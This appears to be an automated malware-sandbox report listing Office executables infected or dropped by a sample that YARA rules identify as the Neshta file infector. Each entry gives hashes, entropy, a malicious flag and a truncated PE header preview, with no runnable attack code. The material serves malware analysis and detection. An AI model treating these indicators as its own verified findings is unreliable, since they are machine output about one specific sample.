Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5174360
Entropy (8bit):	7.263311718032684
Encrypted:	false
SSDEEP:	49152:b/xFnOvtaWIDn0apLKkLJU9nU2foKhA4vSWidGHp+NDGQUzbpDOfjxAkrQKl+RPp:NtLK3BDhtvS0Hpe4zbpaAKQkroGIz
MD5:	1A968E122913ED79596A9EAA5E7BE7B3
SHA1:	96978DB6766A4827206397BA4E8D75A3E3353E7D
SHA-256:	C43AD12F1E78AE1817854FB54903030A89A2023E76D3A2CD6C6275B3AB1C21B0
SHA-512:	56217DD430159D591109231B2F657484BA7B5BC7DF832668A82A4DB8D6A925183633CA9E68C46E85EF759B617343A13D1CED3D8D91A082A87FFCDBB6E795F54F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	139712
Entropy (8bit):	6.527583416477957
Encrypted:	false
SSDEEP:	3072:sr85C4U5adWAKmzUccnzkVBgEuKjj0WWtPPoI:k9/+EjzCg+j6P3
MD5:	EE3F4F49708A511BA220F4C073C8E933
SHA1:	727CE23C7427FD900FDBBF06715F9764F4F24848
SHA-256:	9A7F835403920D85B948447C007988E1C1271D86F87293AA1D1C9DCE4EAD3DDA
SHA-512:	8BE2A84BA4F7845369ED052DC4E71CEED8E3B9C075D66BBF7FD1E1A5935CB50EA08F63AEC2B2EA8CA35DEB001F71EF2AF71C2E185D37A75FDEEB2050C79D7F74
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	380368
Entropy (8bit):	6.677799145653771
Encrypted:	false
SSDEEP:	6144:k9XzgSb/029S2P/7nzGxFrRN0r0ivCZci1FXiO8DaS4wwE0CBlFJmcx:bw/2q/roN7ivCZci1FC74wdBlFYU
MD5:	3B22BCCC611D93FD2228E3098C8909A2
SHA1:	46C93B6587FDD25B710E6C0D0ABC426132DEBAA0
SHA-256:	FC06A5FADD20D729E99EBF82D696F982352147C7A96C7D55D5FF1F7CF1DA9575
SHA-512:	D98A167BC857DF9B7DD4FF2150AF495DAE0290A033C868E3AE00BB01CA7C68EC5D37C75D18BF88B87564CF9E38252360F0914E90AFB64A34929A579C691CB9DE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1269696
Entropy (8bit):	3.750731544998065
Encrypted:	false
SSDEEP:	6144:k9Rvk8/0NhFYAddenZhUhTNnLUrh+9nTGLljX4wuSzVF:y4wXF
MD5:	9344D6088F4232059CC71D89680C627A
SHA1:	B6D50543A01F017F333CB69897FFD6B39DD0430E
SHA-256:	4C9373C646419B656C368FACB9BF903A3BE6C167B7B20DC6BB0D710AEC498FBA
SHA-512:	5B4229DFA9B17BB50F8A3AC1BDFF09395A5B1C0A25CD7B1953297CEEDE312C6DA34295DE61A62DEE6BEDAC1D130F745DC6704E77C8366D954ED72A0914B27CA4
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	266648
Entropy (8bit):	4.190895884532524
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJCgRaCAd1uhNRuiazvhzpwtWhz7I3EWwwrwYx6RPWdn6ysl4DU1:sr85CiezzvhF1h3wEWwwbx6ksl4D
MD5:	CB076D561CC084FC380019159755CBFE
SHA1:	911BB4A2E39DDE9197ECC4678367212B1AA253FF
SHA-256:	F9042977D236AF4627461B5F538823FDAD2ADDEF84EF202E0B75ED409D48E3C2
SHA-512:	68736CFD5E6488DFB24D65173726EB819DA40AEC1FF7EC6CF4F39A15CFD3AEEAC1672364AE50BE5A417A10A6C50E4546F1947BF323C3FB184802F903455434D6
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	715760
Entropy (8bit):	6.523751448498997
Encrypted:	false
SSDEEP:	12288:Y4tuuLntIMDXw5vde5EFf1Pmbd3lSz3dfp1Swf5M0blmFKuJOJZM30j3:3tFDKMg4iX3djfy0blmFlme303
MD5:	0E537E151DF5C171C213A1F44DC5F0BE
SHA1:	E8EE7F0D91D69DE3FFDB1E91E1DDB404813B39C1
SHA-256:	CF49D45B6A84D77F5E9A722FE7182CEF9325A355D885BEEB4D1DF3D88C1CE212
SHA-512:	4968DF9F4DEA49214638C86D73A03EBF4BB93E3242022B933B20E47B22AE65F77F57667B701A32A2779D63667CFE718ECB67B55E317402B140210757439FA4A3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	619944
Entropy (8bit):	6.639567335107148
Encrypted:	false
SSDEEP:	12288:ZM/Of/Bboj+clWnIKgrP6TFPLNWuX4Pemn3oi8ky9Q8WSe/aSqizuO1qukdQAPnQ:i8JgryFPLNWuX40RulAPn1OcnGVNfffl
MD5:	7B39C44B384E1A5940D5A5E30C8D3E91
SHA1:	26B7AA2EFF58E1D4124AC8C70766A15470FF8BE0
SHA-256:	EE9FA9DF2D9125438C869924D9ADF3FB141F0D4C4F05C84D1833669E15FAED31
SHA-512:	2E8D640CE261BCFDA809A0E896662C3AA5F5792AED0938C75D0EC4B5CB20BCF6895876E44228AD7B448D908EA4544EEA88F7F4B8D379B43B8BE53F849A948054
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	150416
Entropy (8bit):	6.5018296889200915
Encrypted:	false
SSDEEP:	3072:sr85CCQPtLW7twRxI5mc5TNN3AsdVgNwihwT3RqEM6ZOfHXb42:k9CQMzhdV0nh4Hof7
MD5:	3FE6C68EDBC948A6D2775DD2EA56088C
SHA1:	2C03FCE97D064B53F98EE100E5627418514BBBF7
SHA-256:	5681B2A8F44A21E3E1D63B8A99100A453F90EE1E3773240923164922F481B633
SHA-512:	2BFAECFF86EEA49F3B79215CAAFE401FCB65D74B4A0757AA79E439A7AD90C52E1E43285B438368676D5A08E20B37C349AFFD362F7CDFE7205CFF63E445345819
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	264576
Entropy (8bit):	6.643046809005812
Encrypted:	false
SSDEEP:	6144:k9y872jsLuLnPo2TTHswP2TGz3FUCHySYI:b+2jsLuT3MfTGW5I
MD5:	F85301DABBF0103EF7202407D2DA6489
SHA1:	6BE78DB8650184DF98A1B968177E75BB782063BF
SHA-256:	8098FAFAF941BD5678FB8B72F560E1AE06EE593C2432163A56FBC60D8FA43495
SHA-512:	E5656464BC5030232CA6E0EC58BFB5F2116C6E464CEB1CABDAC941826876ABF3F108B18FF5785779C7B75D153E01857CF37B49D88E2180CE515B02E344583863
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	108448
Entropy (8bit):	6.051786357762204
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJCMweqz1lezmtJwzojsKyyJFGgHZ//rHzb:sr85CwqzXe0wSyyJFD//Hb
MD5:	C4E2228168447160D7F54331ACE1BAAA
SHA1:	7878BAE3585B8F37E389DEF0A2830D0C72121CF3
SHA-256:	99173D535320C612AE308D5AD58FDA6F6B8EE5AD261F1E038421D2FC53767AA2
SHA-512:	ACB3DCA4F6AA6DCA468BA4A42BFA3003F7A4BB0AB18A2C2F99A493C5765FAB5067FB3865C0C02AD6960439AEE89FB2C166BCC90B6A77FC9CE21DC8C1F4B0037A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	662600
Entropy (8bit):	6.001086966772804
Encrypted:	false
SSDEEP:	12288:Vpo/FEVciSJJtH4PoR6moWEBfQLxZPhEx7xgtV2hv4tkYUK2tlIqR7lmNK/IKrtK:QFEWi4JtH4PoRfoFIxZPk0NKbB0R
MD5:	A21FA1DB62F89FAA23E737BD8B609F8C
SHA1:	62E374C2F71DCD922D6058D735C944A66076FBAD
SHA-256:	AC414AF78ED3914B1E6EB7E4598F400CA7631BC3AA4C8088B0DF5617AD04967D
SHA-512:	7485D968298DC04AF7A2297DF77C83EE5A25BEB0AC14932445063EF075FB2CA565AA67E5CE0E4376BFEA7DD31B1B53E66A061E8B8C535887BCA998086132DF94
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	260560
Entropy (8bit):	5.4470915703839395
Encrypted:	false
SSDEEP:	3072:sr85CH4ZAh7ULoQdHBjw8Q2pFj4+W1ISYpksZmRohnonRBfTjzJEthEWV:k9HPfQdhMuj4VM8imPjGthEWV
MD5:	034F80923F37E7A9899DEA48FBADE531
SHA1:	40E144C96F7DBB162F02833B01A7F416D65D4403
SHA-256:	521D052B5B7EBEA5EFF613B52FF7ED2659B4D2A521D6A19A6A146C3CE35118B3
SHA-512:	2275624F5C92C4B4C606D5CEEBF69F072CC1B7ABA2DAFE8AA7FB672F3B81A8BEDD339EDFFB41192C51CB0F48CB9EE76E090D7A43DE9ADA19D0B8BF2D099C7059
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4316200
Entropy (8bit):	3.920672560845374
Encrypted:	false
SSDEEP:	98304:/YN3nsBQ5ghvEyqf/whWovz9hRJ5RbisrbdsPO9jXsw:QN3nsBcghvEyqf/whxz9hRJ5Rbisrbdr
MD5:	47939C01C26C95ADA390474944E9F9A6
SHA1:	9CFD7A3DEF7081BB3C54584E2515C30C7C04AD76
SHA-256:	9B0869B5057FF84777E81C2D0E0A1E97AB5ABDDD7D80C8D4C94B1C83A53485FC
SHA-512:	0F342D003CAC4046AD71858225DACF6A42AADBB4F28F0F022C1F6C5D37D37355341B9F6DF8941AC310324CF853AA141195BFFFC4A1C9935558FDBE387BC25E26
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	124056
Entropy (8bit):	5.727061682781764
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJCMwu7mzj9zNtP9zNps8Q:sr85CMLmzj9P95psb
MD5:	9A2455DBF03A4E060F7BCCA43DD3D64E
SHA1:	D4FEB7DEF1FEB03CB7E86EB57D43BD69E8596EAE
SHA-256:	0102394DCA78E8B630B3C9613E0C9C620944218FDA84E1E129415E6F972495C3
SHA-512:	DEE619AC553F0DE06058BD118164D4A8E4B93A7F20D4B098E5D5AF9338CBD12F5CE94F054B92FDF435BE87596FD154904968FA96970887993418A3B41EAEAFD5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	358336
Entropy (8bit):	4.514937306069578
Encrypted:	false
SSDEEP:	6144:k9eyUkKOEEIK128d2VKjw0EYsfZJnPmTuJjac2a51lHpLszc/kzY56Y:5x/B/kib
MD5:	C3A4840C5D7823C978C55DA5DA54DF16
SHA1:	BF3045BA5D19667D7B3CF1E9CDF52C7CD7CF1101
SHA-256:	9EC2D985D3ABDCD53FEAFD25DCA72990C37718FBAA59BC4879B941561870B369
SHA-512:	4E76AFB30D33518576E53057C04B8321BF3F209EAB57389C548D3C67DDF968831DAFC74264DD573D9331D74CBB31FE2B09F6149E7786A4CEFC6ABFFAB42F7084
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	763032
Entropy (8bit):	4.116647791553155
Encrypted:	false
SSDEEP:	3072:sr85CSwRnjnzhCiXXXXXX1AzZwAazTwdOLxN1IHO:k9SwRnj7XXXXXXSzuz8OZ
MD5:	5F6E2215C14D1B014007317077502103
SHA1:	B60E82B3994D4612280E92F8A904EFE995209D61
SHA-256:	0F15CBFD62C0BEE02B273A9205A780C7440B70E99391E8155D05930DAAE487E5
SHA-512:	5E77C8AD2B79A4C5F153B90316CB22D1C09E5E5B5F7DD888EF931B1C2CAAE396B1D09A3874A173ABACF19705979C54FFEB77411E580F91258CF1D9A5B3F8D6AF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	895120
Entropy (8bit):	2.966305885964938
Encrypted:	false
SSDEEP:	3072:sr85C+fCEq7tOxIfMFzCEpAm/4rx7z1arf+9:k97z8w
MD5:	379B19683AE0BA12E72D1E6CA8CB1612
SHA1:	4B48C8899121137D5637838E9610608245975078
SHA-256:	3C6082AC7C3AB5EF4F0A7DF17497760B96C77BDDCC8A753881006E74C39044E6
SHA-512:	CC8F80347BA3E0BF5EB5E4B90E28FFE23FF1F5B18FA1E0AE9DAEB27CBAC51E52053C9173332C2688FFCAAF2CC84EBBBAD31386F6F6BF7DFE2668EFB7D1F2E9E8
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1082008
Entropy (8bit):	3.7745537489281356
Encrypted:	false
SSDEEP:	3072:sr85Cko4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:k9V243xmQm59UtUSfz3
MD5:	3257CDD51A6A354CEE4BA01A54D63EAE
SHA1:	5C1A13555616FC7AD988E3A5A847D9173FB70513
SHA-256:	80701AF68D14CA8ADBEA6729B8B714B916A9A7654B76748D6E43466C7665249F
SHA-512:	CFBF67F80E74DE05D945B8BCA0894047D96F23C4F9BB31EBD0AD77BF7CE2F20036C8A2F8CC3281680BD0FB71EF24ECA4FA5E795CC930234B59D4598E15BBC3B9
Malicious:	true
